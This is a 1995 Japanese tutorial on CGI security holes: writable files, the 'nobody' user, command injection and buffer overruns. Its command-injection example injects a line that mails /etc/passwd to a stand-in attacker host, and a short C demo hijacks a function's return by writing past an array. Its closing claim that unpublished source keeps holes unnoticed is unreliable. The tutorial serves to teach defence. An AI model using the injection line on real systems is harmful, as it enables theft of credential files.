CGIのsecurity hole

最近、コンピュータの security が新聞紙上でも少し話題になっていますが、 人々のコンピュータ security に対する自覚は未だに対岸の火事程度です。

省庁や大企業のserver でもなんでもない自分の web server やCGIが 狙われているとは全く考えていないでしょう。たとえ狙われて陥落されても そのマシンに大事なデータが無いのでデータを覗き見られても消されても平気と 考えているかもしれません。しかしそれは大間違いです。

コンピュータに不正侵入する cracker たちは あなたに興味や悪意があるわけでは なく、無防備なあなたを利用して、より大きな目的を達成しようとしているのです。 知らぬ間にあなたは cracking の協力者になっているわけです。

そのため自分のコンピュータを不正侵入から守ろうとしている管理者に とっては、無知なコンピュータ管理人によって運営されている他サイトが 不正侵入する張本人のcrackerと同じくらい脅威に映るのです。

CGIは普通のプログラマにも簡単にネットワークプログラムを作れるようにした 画期的な技術ですが、同時に自分のプログラムが security hole を開けて 世間に多大な迷惑を与える可能性も生み出したのです。それゆえ CGIプログラマは普通のプログラム以上に注してCGIを設計しなければなりません。 単にバグなく動くプログラムだけでは不十分なのです。 この章では CGIが security hole にならないための基本的な注意事項を 紹介します。

それとひとつ気になることは、不正アクセスする人々を「hacker」と呼ぶことです。 「hacker」は元来 コンピュータエキスパートを指す尊敬語です。 そして「cracker」がコンピュータの不正操作を行う人々を指す言葉です。 hackerの一部の人が習得した技術を悪用して不正アクセスするようになることや マスコミがコンピュータのことを知らないままでいたことから、いつのまにか hackerがコンピュータの不正アクセスの犯人になってしまいました。 最近は、技術も知識も無くても、簡単に不正アクセスできるツールが 各種用意されているので hacker でなくても crack できるようになってしまいました。 なので今後ますます hacker と cracker を区別するように主張しないとなりません。 単なる言葉の使い間違いなのですが、一般大衆には 「コンピュータのできる人→hacker→cracker→コンピュータを使って変なことをしでかす危険人物」の連想が定着してしまうかもしれません。


● ファイルの書き込み可

Sbit もしくは SuEXECを使えない、もしくは知らないと CGIが書き込むデータファイルは nobody にも書き込めるように permissionを other に対して writable にしないとなりません。
もしくは、一時的にディレクトリをnobodyに書き込み可にして CGIにファイルを新設させ、nobody所有のデータファイルを作成して 以後 nobodyのみにデータファイルの上書きもしくは追加書き込みを 許すようにすることも考えられます。

いずれにせよ、nobodyに書き込めるファイルは、他人のCGIでも 書き込むことができるので、そのファイルを破壊することは簡単です。 同様にパスワードファイル等を盗み見ることも簡単です。

よくある駄目な対策法として、それらデータファイルのファイル名を まったくデタラメな名前にして他人には推測できないようにする方法があります。 しかし、CGIプログラム中にそのファイル名が明記されているのでまるで 効果がありません。ソースファイルを隠しても実行ファイルに明記されています。 例えば strings cgitest.cgi でわかります。ファイル名をプログラム中の 固定文字列に設定するのではなく、プログラム中で複雑に計算してファイル名を 作るようにしても、最終的な fopen の所で、アクセスするファイル名を 見ることができるので、これも効果ありません。

要するに、nobody でファイルに書き込むようにしておくことは危険です。 ファイルを秘密にすることはできません。 Sbitを立てるかサーバー管理者に頼んでSuEXECを有効にしてもらうかです。


● パスワード

CGI用のパスワードの取り扱いにも注意すべきです。 詳しくは 別章の「パスワードの取り扱い」 にまとめておきました。


● Nobody をあなどるなかれ

Nobodyは聞こえは弱そうなuser名ですが、実は nobodyは loginできない だけで、他の面ではほとんど一般ユーザーと同じ格です。 誰でも読めるファイルは nobodyにも読めますし、 誰でも実行できるコマンドは nobody にも実行できます。 なのでパスワードファイルを読んで、パスワードを解読することもできますし、 プログラムを作ることもできますし、 他のマシンに remote login することもできますし、 外部からのアクセスを受け付ける daemon を作って走らせることもできます。

つまり nobodyの権限だけでも remote login を中継するような daemonを web serverで走らせることができます。Crackerはこの web serverを 経由して、何の足跡を残すこと無く、他のコンピュータを攻撃することができます。 Crackerに絶好のアジトを提供してしまうことになります。 警察が捜査に乗り出したら、そのアジトの web server は捜査のため没収されます。


● CGIからのコマンドの実行

system関数、popen関数は与えられた文字列を sh を使って 解析して、引数、環境変数、pipe、redirectionなどを用意するので、 意外な高度な使い方をされることがあります。

よくある例が mailコマンドの宛先の後ろに ;(semicolon)で区切って 別のコマンドが実行されてしまうことです。

mail me@myhost; mail cracker@badhost < /etc/passwd
Semilcolonの他にも | (pipe) にも気を付けましょう。

このようなことを鑑みると、FORM等からCGIへの入力文字列を そのまま使ってコマンドを実行することは大変危険です。 実行コマンドやその引数には入力文字列を使わないことが基本でしょう。 どうしても入力文字列がコマンドに必要なら、 入力文字列に変な文字が含まれていないか十分検査し、さらに system(),popen()ではなく、fork(),execl()等の関数で コマンドを実行するようにしましょう。


● Buffer overrun

入力文字数の上限を設定しないと、上限を越えた大量のデータが入力された場合に バッファをはみでたそのデータが他のデータを上書きしてしまいます。 デタラメな多量のデータなら単に segmentation faultでプログラムが落ちるだけ ですが、ちょっと考察すればプログラムの動作を意のままに変更することが できます。もしそのプログラムが外部からのアクセスを受け付ける daemon ならば 外部から意のままにコマンドを実行できるようにもなりますし、 もしroot権限で動くコマンドなら、root権限を欲しいままに操ることができます。 このように bufferを溢れさせてプログラムを書き換えて別の動作を させることを buffer overrun と呼び、security holeの典型的なタイプと なっています。

Buffer overrun はバッファ溢れを起こすことのできる所ならどこでも可能です。 簡単な例をひとつ見せますので、この buffer overrunによる security holeがかなり身近に存在し得ることを実感して下さい。ただしこれは IntelのCPUとその互換CPUでのみ有効です。

int main( void )
{
  int ebp[0];
  ebp[1] = (int) puts;
  ebp[2] = (int) exit;
  ebp[3] = (int) "You are cracked!";

  return 0;
}
この簡単なプログラムを実行すると、なんと puts()関数とexit()関数が 実行されます。 main()関数中の配列変数 ebp[] は要素数 0 ですが、バッファを越えて このように関数のアドレスを代入すると main()関数終了後にその関数を 実行するようにプログラムが書き変わってしまうのです。さらに puts関数に引数まで与えることができるのです。
この例ではプログラム中で明示的に関数のアドレスを指定しましたが、 この配列 ebp[] に外から無制限に入力を行えるのなら、関数のアドレスをこの位置に 書き込めば、プログラム中で使用されるすべての関数を任意の引数で 動かすことができます。

Buffer overrun を防ぐには、入力データを受け付けたり処理したり するところで、配列変数のサイズを越えた処理をしないようにすることです。 文字数制限の無いgets関数とsprintf関数を入力データの処理に使ってはいけません。 代わりに fgets関数と snprintf関数を使います。 また scanf系列の関数での文字列読み込みでも %32s などとして 上限を指定しなくてはなりません。 ループ等で文字列を1文字ずつ処理する際にも、NULL終端子が現れるまで 処理を続けるのではなく、なんらかの上限数を指定すべきです。

char str[33], buf[64];

fgets( str, sizeof(str), stdin );

snprintf( buf, sizeof(buf), "%32.32s", str );

scanf( "%32s", str );

for( int i=0; buf[i] != NULL && i<sizeof(buf); i++ ){
  // do something
}

while( *ptr++ && i++ < sizeof(buf) ){
  // do something
}


● 結論

自作 CGIで、ソース非公開にしておけば security holeがあっても気づかれる可能性は無視できるでしょう。
逆に、世間に広く出回っているCGIでは、 security holeを見破られる可能性が高いでしょう。


目次

Copyright(C) by Naoki Watanabe. Oct 21st, 1995.
渡辺尚貴 naoki@cms.phys.s.u-tokyo.ac.jp